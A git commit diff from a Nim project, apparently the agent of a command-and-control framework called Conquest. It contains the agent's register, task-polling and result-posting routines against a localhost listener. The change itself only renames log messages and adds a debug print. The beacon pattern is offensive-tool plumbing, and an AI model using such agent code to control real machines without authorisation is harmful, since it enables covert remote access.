Fix formatting for multi-line command output and delete tasks after completion.
This commit is contained in:
@@ -26,7 +26,7 @@ proc register*(listener: string): string =
|
||||
# Register agent to the Conquest server
|
||||
return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
|
||||
except CatchableError as err:
|
||||
echo "[-] [REGISTER FAILED]:", err.msg
|
||||
echo "[-] [register]:", err.msg
|
||||
quit(0)
|
||||
finally:
|
||||
client.close()
|
||||
@@ -42,7 +42,7 @@ proc getTasks*(listener: string, agent: string): seq[Task] =
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [TASK-RETRIEVAL FAILED]:", err.msg
|
||||
echo "[-] [getTasks]:", err.msg
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
@@ -57,12 +57,14 @@ proc postResults*(listener, agent: string, task: Task): bool =
|
||||
|
||||
let taskJson = %task
|
||||
|
||||
echo $taskJson
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson)
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [RESULTS FAILED]:", err.msg
|
||||
echo "[-] [postResults]: ", err.msg
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
|
||||
Reference in New Issue
Block a user